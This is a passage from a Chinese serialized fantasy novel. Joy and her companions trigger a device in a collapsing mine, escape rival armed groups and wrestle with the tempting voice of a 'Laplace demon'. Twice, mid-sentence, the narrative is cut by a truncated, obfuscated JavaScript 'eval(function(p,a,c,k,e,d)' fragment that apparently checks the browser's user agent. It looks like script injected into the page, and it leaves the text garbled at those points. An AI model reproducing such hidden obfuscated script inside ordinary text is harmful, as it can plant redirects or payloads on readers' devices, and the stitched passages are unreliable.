走廊并不长，不多时，他们就来到一个玻璃幕墙前。穿过幕墙，可以看到一片还算整洁的实验操作台与服务器柜，中央耸立着一座大约两米高的椭圆形金属仪器，上面遍布符号与线路，似乎是这个研究站最核心的设备。它的四周悬挂几根粗厚的电缆，沿着房间墙壁一直通往更暗处，或许连接那尚未完全断电的系统。 林忻试着用手推那扇幕墙门，竟然很轻易就打开了。也许在当年的事故中，这里并没有受到过大范围破坏，或者在撤离时根本来不及上锁。几人小心走进去，只觉得这里和外面毁灭般的场景截然不同。空气里虽然依旧潮湿，但还保留了某种未被彻底摧毁的理性秩序。地面上一摊陈旧的资料纸散落，角落里还有散落的急救箱，里面空无一物。显然有人曾在这里做最后的撤离工作。 乔伊目光落在那座椭圆仪器上，内心强烈地震颤。她感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一番操作后，林忻与教授忙碌地拆下了一部分服务器的面板，试着把那残片硬盘接入读取口。乔伊看他们满头大汗地鼓捣，心里也很紧张。她一方面希冀能打开这设备，获得对拉普拉斯妖更直接的理解；另一方面，她又怕这装置暴走，像矿洞上层的机械守卫一样引发大爆炸。他们几个人都精疲力竭，但依旧互相打气、分担。 大约过了半个小时，屏幕忽然跳出几行字符。教授脸上露出难以置信的欣喜：“太好了，好像读取到一些数据……”说着他用指关节颤抖地敲击指令，尽管是老旧款式的界面，但仍能勉强实现交互。持续几秒后，屏幕上出现一排闪烁的英文：“允许终端激活——请确认能量阈值”。 “它在问我们要不要激活。”林忻视线在屏幕与教授脸上来回徘徊。“教授，这是不是意味着，我们可以重新开启当年的对撞与干涉程序？”教授吞了口唾沫，“没错……理想状态下，若它完整启动，就能复现当年干扰拉普拉斯妖的实验。不过一旦启动，我们也难以预料后果。也许会让拉普拉斯妖彻底无法感知我们，也可能引发不可控的高维波动。” 他说得委婉，实际上后果或许比这更剧烈。学姐犹豫：“开动它之前，我们是不是该先休整，或做些保护措施？”顾子衿也点头：“再怎么说，我们现在的体能、伤势都很不乐观……” 然而话音未落，地面突然猛地一震，整个实验室的灯狂闪起来。矿洞顶部似乎发生了更大规模的塌方——一股轰鸣带着震颤传来，仿佛山体在咆哮！教授惊得脸色苍白：“不好！外层可能要彻底塌陷了，我们要快，不然就被埋葬在这里。”他说着，断断续续地咳嗽，几乎站不稳。 乔伊意识到，时间已经不允许他们做更多部署。或许这是命运逼迫他们——要么就此停滞，被岩石尘封；要么就孤注一掷，试着启动这未知仪器，抓住那一线改变结局的机会。她想起矿洞上层死去的研究员，想起机械守卫的徒劳挣扎，也想起自己在危险中一次次听到的那个声音：“去改变。” 她不再犹豫，抬手在那屏幕上敲下“Confirm（确认）”的英文字母。几乎在同一秒，设备发出嗡的一响，金属外壳上的线路霎时泛起刺目的光晕，周围空气像被抽走一样腾地一沉，耳膜都在空气波动中轰鸣。学姐与林忻都吓得往后一退，教授紧张地大喊：“趴低，小心能量冲击！” 顾子衿拉着乔伊蹲下身，两人摔在地上都觉得脑子轰轰作响。那椭圆形的金属仪器像被注入洪流，一道道光环在它周身荡开，然后无形的波浪扩散到整个实验大厅，撞击在四面墙壁与半塌顶梁上，带来接连的坠落声和电火花。顷刻间，轰隆隆的震响更此起彼伏，岩层似乎要彻底崩塌。但同时，一股更庞大的力场扩散出来，与外层那原本不稳定的蓝色力场交相辉映。就好像两个时空的门扉被同时打开，一明一暗，搅动整个矿洞深处。 乔伊只觉得脑袋痛得快要裂开，恍惚中她看见一道银白色或者说浅金色的影子飘入金属仪器中央，似乎在那闪光处凝聚成一个依稀的人形。她听见拉普拉斯妖在她意识里发出更加明确的声音，带着震动灵魂的回响：“乔伊……你最终还是选择……你真的想与我面对面吗？”那个声音充满复杂情绪，有期待，有迷惘，也有隐隐的不安。 她想要回答，却发现自己连声带都发不出音，只能在灵魂层面嘶喊：“拉普拉斯……你来了吗？你——”她的话还没说完，便骤然感觉周遭的一切像被某种力量撕扯，光线和物质混成漩涡，矿洞、仪器、惊呼声，全都扭曲成一片模糊的背景。仿佛世界瞬间消失，只余下一个高维空间里不断扩散的白芒与寂静。 这一刹那，有种无穷无尽的黑暗从时间缝隙中涌出，又被更耀眼的光笼罩。她能看见顾子衿、林忻、学姐和教授还在不远处挣扎，可却像隔着极厚的一层光壁。她想伸手去抓他们，却发现自己手臂已不在原本的物理维度——所有的分子都仿佛溶解在空气中。她吓得魂飞魄散：难道我就要像蒸汽一样消散？ 但就在此刻，一股温暖的力量托住了她。那是自她体内升腾的能量，同时从外部注入了一种更深层、更浩瀚的指引。还是那道声音，“别害怕……你本身就是我，我也一直是你。”语言在灵魂深处回旋，她似乎感觉一只无形的手轻抚她的额头，让她不要再恐惧。 她意识到自己思维正被拉进更高的维度。那里没有具体颜色或形体，却能感到无数条时空线在无限延展，每条线都连接着一个可能的未来或过去，宛如星河汇聚。而在星河中央，矗立着某种至高法则——那是拉普拉斯妖的本质，亦或是“命运”的终极法则？ 短短数秒，却像度过了漫长世纪。等她回过神时，轰鸣声猛地灌进耳朵，她眼前又出现了矿洞塌陷的场景，地面裂缝、墙壁崩塌、尘土飞扬；而那椭圆金属仪器在轰鸣中一寸寸剥落外壳，喷溅极度耀眼的电弧。学姐与林忻在角落抱住教授，顾子衿跌坐在操作台边，不知是否受了伤。世界仿佛即将坍塌。 可一道更深邃的蓝色光罩悄然浮现，将他们笼罩其中。那光罩的质地和上层力场有几分相似，却更稳、更柔，像一个庇护结界，抵挡住大多数落石和冲击。石块砸上光罩后能量波纹泛起，却没能伤到他们分毫。一瞬之间，众人惊讶地抬起头，不知道是谁弄出了这“保护力场”。 乔伊震颤地看着自己伸出的双手，那蓝色光罩正是从她与那金属仪器之间扩散而来，是他们共同形成的一股“合力”。她恍惚明白了一点：自己和拉普拉斯妖的共鸣，激活了这设备背后的核心——或许是利用矿洞里尚存的能量，构建了一片暂时的安全区域。但她并不清楚，下一刻会发生什么。脚下的大地轰轰不休，几乎让人站不住。 教授艰难地仰望那光罩，眼里既是惊叹又是恐惧。顾子衿忍着疼痛惊呼：“乔伊，这是你弄的吗？”乔伊茫然地摇头，她想点头，又觉得自己只能算是被动引导，但她不知道如何解释那不可言喻的高维感应。又一阵地动山摇，仿佛整个山体都要崩裂，离他们不过数米的地带出现一道巨大的裂缝，呼啦一声把实验设备碎屑尽数吞落下去，遁入不见底的黑暗之中。 “我们……得快离开这里！”林忻喊到嗓子都哑了。学姐艰难地抬起手，“可我们被这光罩和外围的坍塌夹在中央，连退路都没有了！”教授狠咬牙，“也只能指望这力场再撑一阵子，说不定一会儿地震停止，我们还能找机会逃出去。”可他话虽如此，却看得出心里也没有太大底气。 乔伊脑袋还在一片眩晕中，忽然感觉到有人轻唤她的名字：“乔伊……走吧……”那声音似从更高处传来，带着低回的情绪。她抬眼看向塌落的矿顶，尘埃翻飞间，仿佛隐约看到一双幽深的目光。在那一刻，她心中升起强烈的冲动：如果自己走过去，踏出这现实与高维之间的藩篱，也许就能见到——拉普拉斯妖真正的面容。可那意味着什么？意味着她或许将彻底离开人类的范畴？ 她猛地回首，看见顾子衿和学姐、林忻、教授紧紧依偎在光罩下方，表情惊慌却又互相守护。她不忍心抛下他们。她想说，那股牵绊是自己与拉普拉斯妖都无法割舍的“爱与温度”，也是她真实存在于这世界的证明。她喉头被哽住，忽然间泪水就流溢出来。 “乔伊，你怎么了？”学姐焦急呼唤，她看不清楚乔伊的眼泪，却感受到她微微颤抖的背影。乔伊没办法回答，只能哑声说：“对不起……也许，我必须继续往前。”她仿佛攒起最后的勇气，像是响应某种召唤，准备迈出一步。 就在这时，整个矿洞轰然一震，一道狂猛气浪从下方裂缝喷出，仿佛地底深处又发生了一次爆炸般的冲击。那蓝色力场剧烈抖动。学姐等人都惊呼起来，身体随之倾倒。防护罩眼看就要支撑不住，下一瞬—— “轰——” 世界在白光中碎裂。 矿洞是否彻底坍塌？他们能否在这崩毁中幸存？那设备又会不会带他们进入另一个维度？白光耀眼到几乎吞没所有人，乔伊下意识想伸手拉住顾子衿，却只抓到了一片虚空。她听到耳边有人喊她的名字，也听到拉普拉斯妖低低的一声叹息……随后，所有声音都湮灭在白芒与尘埃的旋涡之中。 ——（未完待续） 当一切回归寂静，矿洞的废墟之下究竟藏着怎样的答案？乔伊与众人能否穿过高维干涉的危险夹缝，见到拉普拉斯妖真正的面容？他们在这命悬一线之际，是否能抵达心之所向的真相？又或者，这个塌陷将终结所有人？下一章中，坍塌背后的秘密，以及拉普拉斯妖的深度回响，都将浮出水面。命运的齿轮，如今已转到临界点——他们是选择追随宿命，还是打破它？敬请期待。 39.彼岸光浮，撼动心界 夜色幽暗，满布灰尘的矿区外缘像一头被惊扰的巨兽，到处是破败的机械残骸与隐没在阴影之中的暗哨。自矿洞逃出生天后，乔伊与顾子衿、学姐、林忻以及伤势不轻的教授，暂时匿身于一道废弃水泥墙后。头顶远处闪烁的警示灯与偶尔掠过的车灯，将这处废墟照得忽明忽暗。 乔伊靠着墙，微微闭眼，耳中仿佛仍能回荡那撼人心魄的巨响——矿洞深处的坍塌轰鸣，以及她在惊险霎那施展“规则改写”时，高维能量冲刷灵魂的音浪。即使已经脱离塌方，她却感觉身体里还有余震在晃动，拉普拉斯妖的呼吸于她而言，愈发真实。 “外面那些车……还在吗？”学姐伏在另一侧墙角，小心向缝隙外张望。林忻则扶着教授，尽量让他平躺在较干燥的地面上。顾子衿靠近乔伊，递上最后一瓶仅剩的运动饮料，“你再喝点儿吧？” 乔伊动作僵硬地点了点头，却并未立刻接过瓶子。她眼神隐隐透出疲惫与不安：“我好像……能感觉到更多异常动静，除了这些车辆以外，还有人带着测绘或探测设备，正在搜寻矿洞周围。” “什么设备？”顾子衿一愣。 乔伊皱眉，大脑里蓦然浮现出一幅“鸟瞰图”般的视觉：就好像她正从半空俯视矿区，有三四只车辆驻扎在东南角，还散布着几名手持仪器的人，正对地质和能量波动进行检测。她无法确定这是“真实”还是“预判”，只模糊感到那股高维感应呼之欲出。 她猛地捂住额头，似受刺激般打了个激灵。这时，学姐那边传来说话声：“车子更多了……天呐，他们像要彻底封锁这里。”为了证实学姐的担忧，乔伊尝试让自己冷静下来，聚精会神地聆听夜风的动静：果然，有多道引擎轰鸣从远处传来。那并非普通警车，更像私人武装或资方雇佣的保安车队。 林忻焦急：“现在我们还能往哪儿跑？教授这伤不能拖太久……再不去医院会有生命危险。” 教授赶忙摆手，示意自己尚能支撑片刻，然后沙哑地说：“乔伊，你能不能再让我们……像刚才在矿洞里那样……找到退路？或者用你的力量，再开辟一条路？”他也顾不上质疑乔伊力量的来历与原理，只是如今情况下，若无奇招，他们必将被堵截。 一听教授提到“你的力量”，乔伊面色微变。她很清楚大家已经半知半解地猜到她能“干预”某些现实进程，正如她在矿洞时明明创造了崩塌裂缝出口，又在面对持枪保安的片段式追击时发挥了“扭转”作用。但是，一旦让她再次大规模使用，它的代价不仅是身体的损耗，更是对心智的剥蚀——她越深入那些时空线的交汇点，就越难摆脱拉普拉斯妖的牵引，本来就游走在超脱与迷失的边缘。 顾子衿轻咳一声，试图为乔伊分担压力：“教授，或许再等一下……万一他们只是在外围搜索，我们能趁其空隙溜出去。”林忻也崇尚稳中求胜，深怕乔伊冒险。然而教授却愁眉不展：“实话说，我对那些车辆的背景有点猜测。恐怕不止什么探险财团，也不排除是某些研究机构私下雇佣；我们手里的那些数据与事实，一旦被他们抢先处理，后果不堪设想。” 学姐也低声提醒：“而且你们看这个形势，像是要掩盖什么，或者想擒下我们做更多逼问。教授的研究笔记可还在你们身上？”她说这话时，目光快速扫过乔伊与顾子衿：矿洞前，教授就让他们拿着部分关键资料与U盘。 顾子衿摸了摸外套内袋，确认小小U盘仍在，但随即更紧张：“是啊，这东西若被他们夺走，那我们先前的所有努力都白费……” 乔伊见讨论逐渐焦灼，内心深处也浮现矛盾与挣扎：理念上，她确实希望能借用拉普拉斯妖的力量，保护身边人、守住研究真相；可另一方面，她隐隐预感——随着自己行使力量的频次与规模越来越大，必然会越发带来未知的副作用。矿洞里几次“改写”让她元气大伤，眼下若再强行介入周遭人心或地形，她能否全身而退？更关键的是，她是否就此彻底走向“脱离凡尘”的道路？ “也许……先让我们想一个折中的办法……”乔伊沉默良久，忽然轻声开口，“我可以尝试小规模运用那股预判力，看能否避开他们最密集的巡逻区。若实在无法躲过去，再考虑更强的介入。” 她说这话时，隐约能感觉到拉普拉斯妖在她体内轻叹。那叹息声似乎带着一抹淡淡的嘲讽，却也混合着复杂的情绪，像是鼓励她再迈一步，又像在诉说“人性”对她而言终将是桎梏。她没有时间细究，给顾子衿与林忻示意：“你们稍等，我试着听听‘风声’。” 众人不解她要做什么，只见乔伊盘膝坐在地面，闭目抿唇，仿佛在冥想。其实，她是在尽力让意识回到那种“观测高维线索”的状态，就像她之前能俯瞰地形、预判保安动向那样。只是这一次，她不想再深入太多，只想获取最小限度的信息。不消片刻，她仿佛真的感应到了四周黑暗中的人影纷动，像在地图上移动的小光点。 矿区东南角，一支队伍在勘测地表；西北面则有大卡车堵住了道路；正南方向还有一架无人机在空中巡逻——这种画面在她脑中流转，甚至能让她清晰地知道自己如果要逃跑，哪条小径的成功率最高。这些“概率走向”犹如蛛网般展开，她深吸一口气，将其写入脑海，随即睁开眼，一阵晕眩袭来，幸好顾子衿眼疾手快将她扶住。 “你……看到了什么？”顾子衿关切地问。乔伊强撑起微笑：“东北方向……还算人手比较少。他们似乎重点围堵了南边与西边。不过要绕过去也不容易，我们可能需要趁夜色掩护，从废井口翻过一段塌陷墙体，才能进到那片荒坟坡，然后沿山腰公路走。”她语速极快，显得极其疲惫。学姐与林忻互望一眼，都暗想：乔伊到底是如何得知如此具体的路线？ 教授却没有过多发问，只慎重点头：“既然这是我们眼下最好的方案，那就按你说的做。”于是，一行人齐心协力把教授搀扶起来，由乔伊与顾子衿带队，引领他们迂回前行。 这样一来，章节前期的“潜伏与逃离”正式展开：他们避开了三拨巡逻小队，艰难地在乱石与刺骨寒风中摸索前进。途中学姐险些踩空坠落，还好林忻眼疾手快拉住。教授的脚步一度不稳，每挪一步都牵动胸口痛苦，冷汗直冒。顾子衿一次次伸手扶他，又不忘回头关照乔伊。乔伊知道对方在担心她的状态，可她只能勉强微笑：自己的脑袋正嗡嗡作响，仿佛随时都会被高维能量反噬。她担心若再遇到险情，只怕无法精准施展干预。 好在一路惊险却有惊无险，靠着乔伊的预判，他们多次躲过企图包抄的枪械队伍。深夜里，矿区废井口附近的空气阴冷潮湿，一股令人不适的腐烂气息扑面而来。林忻实在受不了，小声咳嗽：“这是什么味儿？太难闻了……”学姐在暗中皱眉：“也许是前期爆破后遗留的废渣，或者混合了地底沼气？”教授深吸了口气，更显虚弱，却依旧坚持跟上队伍。 又走了约莫半小时，四周车辆声开始变得遥远，视线所及再也不见灯光晃动，显然终于绕到了那些搜寻者的势力范围之外。林忻松了口气：“看来暂时脱离他们的搜索圈了。” 乔伊却发现自己内心并未感到轻松，甚至还生出更多疑虑：就让那些人继续盘踞在矿区？他们会不会还要深入地底，搜刮仪器残骸？又或者，矿洞的进一步崩落会让更多线索湮灭？她欲言又止，心绪复杂，但为不让大家担忧，只是默默扶着教授，一言不发地继续走。 终于，一行人翻过一道被碎石淹埋的外墙，看见远处朦朦胧胧的平坦地面，大概是离公路不远的荒坟坡。零散的土包与稀疏的野草在月色下看得清清楚楚，不远处倒还有一棵枯树，树干高大扭曲，如同在黑夜中伸展的怪影。 “呼……”顾子衿轻轻唤了口气，“我们先到那树下整顿一下，好吗？”林忻与学姐自无不可，教授亦是走得两腿发软，额角全是冷汗。几人停下脚步，半围在树旁。 乔伊望着这颗无言的枯树，心里莫名生出一种恍惚：是不是她也和这枯树一般，被命运之风吹剥了最后的枝叶，只剩下空有的坚硬骨架？她靠着树干，眼眶悄悄泛红，却并未让别人看见。 稍事休息后，教授提议：“得尽快想办法联系医院……或者至少联系我们在外地的同事、校方，让他们知道我们的处境以及矿区的真相。”学姐已经翻出手机，试了多次，仍旧没有信号。林忻同样摇头：“我连报平安都做不到。” 顾子衿不甘心地举着手机四下走动，终于在往丘坡上又走了十多米处，找到一点微弱信号。他激动地摆手示意其他人。学姐立即搀着教授，小心上到丘坡。乔伊本想跟，却在起身迈步时，突然感到后脑一阵刺痛，仿佛被电流击中。她喉头发紧，脚下一个不稳，险些跪倒。 “乔伊？你怎么了？”顾子衿急忙跑回来扶住她，其他人也纷纷露出紧张的神情。乔伊抬手示意让大家别慌，微喘着气说：“不知道……可能是矿洞里耗损太多……”可她心里非常清楚，这些疼痛并非普通疲惫，而是拉普拉斯妖在她意识里翻腾，各种时空片段一股脑儿地冲击她的脑海。 那些画面并不单纯是矿区的影像，还有更宏大的幻象：都市高楼在扭曲，街道与人流像线程般交织，她看见自己身处某个漩涡中央，四面八方都是无形的锁链，又看到无数人陷于被操纵的循环。她仿佛听见自己声音与拉普拉斯妖重叠，带着嘲弄的微笑卸下所有尘世规则……那种错乱让她心里直打寒颤。 她努力集中意志，逼迫自己把画面压至潜意识深处。再睁眼时，她已经大口喘息得脸色苍白。顾子衿拍了拍她肩膀，想让她放松下来。学姐走近想确认她体温与脉搏，还好并非发烧，只是心率过快。教授见状，也十分担心，却无计可施。 “没事，我能撑住。”乔伊吞了口唾液，声音发颤，却勉强撑起一个笑容，“你们……联络到外面了吗？”她不想让自己成为大家的负担。 顾子衿不忍深问，只能先回答：“信号很弱，我们试图给学校发短信，或者给我的一位记者朋友求助，但还无法确定有没有真正发出去。或许，我们再走几公里，找个高一点的地方，或者——” 话未说完，四周寂静之中忽然传来一阵轰鸣，好似重型卡车的马达声。乔伊神经瞬间绷紧：难不成还是那些人追了上来？林忻也惊得花容失色：“我们不是绕过了他们吗？” 顾子衿一咬牙，让学姐扶着教授先往上走，林忻保持警戒，自己则握起一根木棍想充当武器。乔伊也强打起精神，想借助最后一点感应力来预判那车队的动向。可她猛地意识到，身体已处在极限边缘，脑海中一片电流炸声，她几乎无法再清晰地“观测”任何概率线。 伴随着轰鸣声，远处荒地的另一侧真的出现了车灯，且快速逼近。几秒钟后，两辆漆黑越野冲破杂草，停在距离他们不过二三十米处的空地上。车门起落声中，七八道身影鱼贯而出，借助手电和探照灯，第一时间就捕捉到了乔伊等人的方位——可见对方早已锁定目标。 “快跑！”林忻惊呼。可教授伤情严重，根本不可能再跑。几乎是瞬间，对方就用手电强光照得他们眼睛刺痛，同时有人高声喝令：“别动！你们私闯禁区、涉嫌破坏机密设施！立刻放下手中的东西！” 顾子衿不甘示弱地大喊：“这是什么机密？这里是非法矿区！谁给你们的权力？”但对方懒得废话，又有人吩咐手下：“带走那几个人，尤其是那个女孩——”枪支上膛的声音在夜色里格外刺耳。乔伊心弦一颤：他们果然对自己“最感兴趣”，或许他们早从监控或矿洞影像里推断出她与仪器间的关联。 决战时刻，乔伊的手心渗出冷汗，她知道自己可以尝试再次使用“干预”，让这些人的注意力扭曲，或者令他们自相错乱。但她再也无法像先前那样轻易施展，整个身体几乎见底，意识也在警告她：再强行调用那庞大的高维能量，势必迎来难以估量的反噬。万般思绪在她脑海中呼啸——是当场拼死一搏吗？若失败，他们都将葬身此处；若成功，她又会被彻底吞噬？ 拉普拉斯妖的声音恰在此刻浮现：“反抗啊，乔伊……别忘了，你是能改写命运的……不必惧怕这些躯壳之兵器。”声音透着狂意与诱惑，但乔伊却在心里发出微弱的抗争——她还不想撕裂掉全部的人性与温柔。她努力让自己平静，想要寻找一个更具策略的方案。 就在这个危机边缘，一道汽车喇叭声突然从后方炸响，又有三辆车风驰电掣般地赶到现场，从车上冲下来一群同样穿着黑衣但臂章不同的人，一时双方对峙，火花四溅。映着杂乱的灯光，乔伊与顾子衿等人惊疑地看着突如其来的“第三方”。只见这批新人马嘈杂吵嚷，对着先一步到场的那伙人大喊：“谁让你们擅自越过底线？我们上头说过，要活捉！” “你们又是哪方的？！”对方也愤怒反问。两股力量针锋相对，显然并不属于同一阵营，却又统一将乔伊等人视为目标。双方争吵中，有人大概提及“联邦实验”、“重金委托”、“带走目标”等关键词，听得乔伊后背发凉——这些词汇证明教授先前的猜测：确实有大型财团或其他神秘机构盯上这片矿区，对乔伊那神秘能力尤为渴望。 他们居然因为内部利益分歧，导致了这一场突兀的争执？若非如此，自己等人恐怕根本没有喘息余地…… “走！”顾子衿当机立断，趁着那两拨人暂时互不相让，拉起乔伊的手臂。他们一起搀扶教授，朝相对空旷的荒坟坡另一边退去。学姐和林忻亦贴身保护。可不等他们跑出十几步，就听见那边有人察觉不对，发出愤怒怒吼：“目标在跑！拦住他们！”刹那间，枪声大作，子弹呼啸擦过夜空。 乔伊和顾子衿心里同时一凉：这在荒郊野地，且对方都是亡命之徒，随时可能击中他们。教授虚弱地低呼，身体一软几乎撑不住，林忻和学姐焦急万分。电光火石之际，乔伊忽然感到灵魂深处再次暴起一股白炽热流——她明白，那是拉普拉斯妖给她的最后通牒：要么纵身投入高维之力，成为那只不受凡尘规则束缚的“妖”，要么束手就擒。 “子衿，放开我……”乔伊咬牙对白衣青年低声说道，可顾子衿反而搂得更紧：“不行，我们一起！”乔伊唇发颤，眼眶里蓄满泪意，她清楚对方那句“一起”的分量。但克制不住的力量已在身体里翻滚，她怕再不释放，就会被那能量当场撕裂。 枪声愈来愈近，危机几乎迫在眉睫。终于，乔伊闭上眼睛，仿佛做出了某种决定——她身体周围瞬时凝起一圈肉眼可见的白色漩涡，空气像被拉扯成薄膜，那股高维力场骤然扩张，形成一个简易的椭圆防护。冲在最前的几个黑衣人慌乱止步，他们看见那奇异光幕时，发出惊骇尖叫：“这是什么？！”有人想继续开枪，却惊然发现手臂仿佛僵直难动，甚至枪口开始偏斜。 乔伊的耳中只有轰鸣与心跳交织的巨响，她仿佛踏进了无形深渊，一脚踩在拉普拉斯妖所在的高维边界里。她能感到自己的念头在扩散，这些黑衣人的动作与思维，开始在她脑海里呈现出网络脉冲的形态，一旦她催动意念，就能瓦解他们的意志，让他们陷入混乱。 “暂停……都给我停下。”她闭目呢喃，如同下达天启。刹时间，那些持枪者的举动僵硬了半秒，几乎失神愣在原地。周遭空气凝滞，世界仿佛被一把利刃划开，所有人只觉脑袋轰然一片空白。林忻与学姐骇然失色，这是何等可怕的场景——乔伊竟以一己之力影响了十数米外的一群人？！ 然而乔伊知道自己代价极其沉重：她仿佛感到灵魂在往更高处撕裂，每一寸神经都被撕扯出鲜血般的痛感。她模糊地听见拉普拉斯妖在笑：“看，命运就该由我们来操刀……” 她咬紧牙关，不敢延宕半秒，对顾子衿他们厉声喊道：“快带教授走，走远！我……来断尾。”顾子衿目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔伊强打起精神，用最后一丝理智抓住顾子衿的手臂，利用那残存的一点“力场反向”让眼前三四名黑衣人晕头转向。他们俩趁机冲出包围圈，踉踉跄跄地往另一边狂奔。枪声此起彼伏，子弹在月夜下发出带电般的嘶鸣。顾子衿背心被擦伤，鲜血瞬间涌出，却仍死死护住乔伊。 此刻的乔伊已经几乎无法思考，拉普拉斯妖在她脑中尖笑，似乎又带着隐隐痛苦：“为什么要抗拒？干脆融入我，你就能无惧这些枪火……”乔伊再度咳出血来，喃喃：“不……我必须……守住……”她用尽最后一点意志抵住那彻底沉沦的边缘。 两人苦苦奔逃，远处传来林忻的呼唤，似乎学姐和教授也隐约看到了他们。可顾子衿脚下一滑，险些摔倒，乔伊几乎是被他拖着前行。耳畔又传来追击者的吼声：“快！别让他们跑了，抓住那女孩！”有人甚至抛出闪光弹。强烈白光瞬时造成一片混乱，顾子衿与乔伊被迫闭眼。 紧接着一阵刺耳的爆炸声响彻夜空，仿佛有人扔了震爆弹。乔伊心里一慌，暗想这下完了。却在同一刻，天地之间仿佛又是一片空白般的静止——她突然失去所有知觉。 不知过了多久，乔伊在恍惚中缓缓睁开眼，发现自己正枕在一片沙土地上，天空依旧是夜色，但周围多了一层似雾似烟的白蒙。她勉强想要撑起身体，却发觉浑身酸痛欲裂。顾子衿横在她右侧，似乎也晕了过去。更远处，林忻与学姐扶着教授立在那儿，都是一脸惊魂未定。往前看，则是一片散落的黑衣人，有的昏迷不醒，有的痛苦呻吟，却没有再度举枪。 “这究竟……发生了什么？”乔伊勉力问出口。林忻回望她，张了张口：“不知道……就像……有人在关键时刻引爆了什么干扰，他们自己人先撞到一起……” 学姐也骇然：“我们只看见一堆人跌倒，还有些车爆胎，然后好像还有一束极强的干扰波把他们的侦测仪全毁了……怎么回事？” 乔伊努力思索，却对刚才那段记忆一片空白。她只记得自己已经力竭，甚至连拉普拉斯妖都在疯狂撕扯她的意识。到底是谁在这瞬间出了手，救了他俩？是“敌人的内讧”？还是另有一股更神秘的力量？她一时间无从解答。 “先……离开这里。”顾子衿终于醒来，强忍疼痛扶起乔伊。他的后背伤口已经血染一片，令人心惊。但他仍旧固执地把乔伊揽在身侧，蹒跚着追上学姐与林忻。教授体力也几乎枯竭，却还能依靠他们的一点搀扶往前挪动。后方，黑衣人还未完全失去行动力，但显而易见，一时无法再组织有序的追击。 就这样，他们艰难地绕过荒坟坡，朝着更高处的丘陵前行，希望那边能有通往外界的公路，也希望能尽快敲开医院或者媒体的大门。他们不知道，刚才那离奇爆炸与对方装备混乱，会不会只是暴风雨前的片刻空隙；更无法猜测，此事背后是否还有更多利益集团与潜在阴谋在慢慢集结。 抬头仰望夜空，乔伊满心苦涩：她才觉醒“规则改写”的能力没多久，就已经被迫介入这么多争斗。她本想低调自保，却发现一旦拥有这股力量，注定不可能只在小圈子里逆袭。她也不清楚自己会变得多可怕，更不知道拉普拉斯妖还会将她带到何处。她只知道，自己想守护眼前人，想遵循内心的爱与道德，哪怕与命运之网撕扯到遍体鳞伤，也不愿化作真正冷漠的“高维工具”。 深夜风雪交加，天边似有雷光隐现。顾子衿与乔伊并肩走在最前方，学姐与林忻护着教授稍微落后些。几人的身影在广袤荒原中显得渺小却坚毅。乔伊能听见无形的叹息伴随风声飘过，那像是拉普拉斯妖，又像是她自己： “走吧，去迎接下一个关口。你以为我们已经摆脱幕后黑手？不，那远远还没结束。” 她默默地握紧顾子衿的手，感受他掌心仍有余温——无论外界怎样动荡，她暂时仍有值得守护的牵绊。而当她再度闭上眼睛，努力感受高维感应时，却只捕捉到大片破碎的混沌，像是有人故意屏蔽了命运线的预判轨迹。她突然预感到，更可怕的冲突与真相之战正蓄势待发。 “或许……我们即将跨过另一座门槛……”乔伊心潮翻涌，却没有确切答案。 风起云涌，命运之轮继续转动。黑夜深处，有眼睛在凝视他们，也有远方未明的火光照亮新一轮危机。拉普拉斯妖的呢喃在乔伊意识深处时断时续，而她所珍视的那些人性之爱，也随时准备与那超维力量正面交锋。也许只有当她真正找到爱与自由的平衡点，才有可能在未来彻底撕裂宿命之网，达到更大超脱。可那一天……还要经过多少艰险与抉择？ 将近黎明，他们一行人终于挤进一条荒弃的土路，朝远方城市轮廓前行。教授开始发热，学姐忙不迭地翻找治疗药物；林忻时时回望，生怕又冒出什么车辆；顾子衿与乔伊虽然一路坚强，但彼此都已是身心俱疲。 “这里若能叫到车，或者碰到过路人，我们就有希望了……”顾子衿这样对乔伊说，眼底隐隐蓄着的是坚韧不拔的信念。乔伊看着他微微点头，勉强扯出一个笑容。看似疲倦至极的她，灵魂深处却又燃起一句暗语： “你还在吗，拉普拉斯？” 一个似叹息又似微笑的回应在她心底颤动： “当然，我一直在你身边。接下来……还有更宏大的棋局等着你。” ——命运轨迹的棋盘上，乔伊已然走到更危险的坐标；同时也意味着，她将得到更深层的觉醒。若这条“超越人性、撕裂束缚”的道路注定要用鲜血与代价铺陈，她又能否守护那份珍贵的真情？ 一切答案，都在未至的黎明中潜藏。 （本章完) 当他们初步逃离矿区，却在前往城市途中面临更深入的谋划与冲突。各方势力的争夺、拉普拉斯妖的觉醒、乔伊的人性抉择，都会激烈碰撞。她是否要跨出最后一步，成为真正可以“改写”世界的存在？亦或能寻回爱与良知之光，建立全新的自由法则？敬请期待下一章更惊心动魄的展开…… 40.星光之外，尘世之中 夜色深沉，灰蒙的天幕下，一束微弱的月光穿透层层乌云，照亮了那条荒弃的土路。乔伊一行人已经在这条路上艰难跋涉近半个小时，却仍未看见任何车辆驶过。顾子衿的背伤在夜风吹拂下不停渗血，沿着衣裳晕开殷红的痕迹。乔伊每走一步，就能闻到他身上那股混合了血腥与尘土的气息，令人心疼又无可奈何。 在这荒凉之地，夜色笼罩下的一切都像被黑色巨兽吞噬。稍远一点的地方，乱坟、枯林和山坳的轮廓尚隐约可辨，再远些就淹没在夜的空洞里。教授早已累得脸色发白，学姐与林忻轮流扶着他，哪怕手臂酸麻也不敢松手。时不时传来的躁动夜风似带着警告：危险并未远去。 顾子衿抬起眼，努力分辨前方是否有道路延伸到更高的丘岭。那里可能是山外的省道，若能搭上过往的车辆，就有机会直奔医院，也能有更多机会联络外界求援。然而脚下无情的痛感不停提醒他——若再折腾下去，恐怕自己就要撑不住了。可他还是不能倒下，乔伊、教授，乃至其他同伴，都需要他的力量。 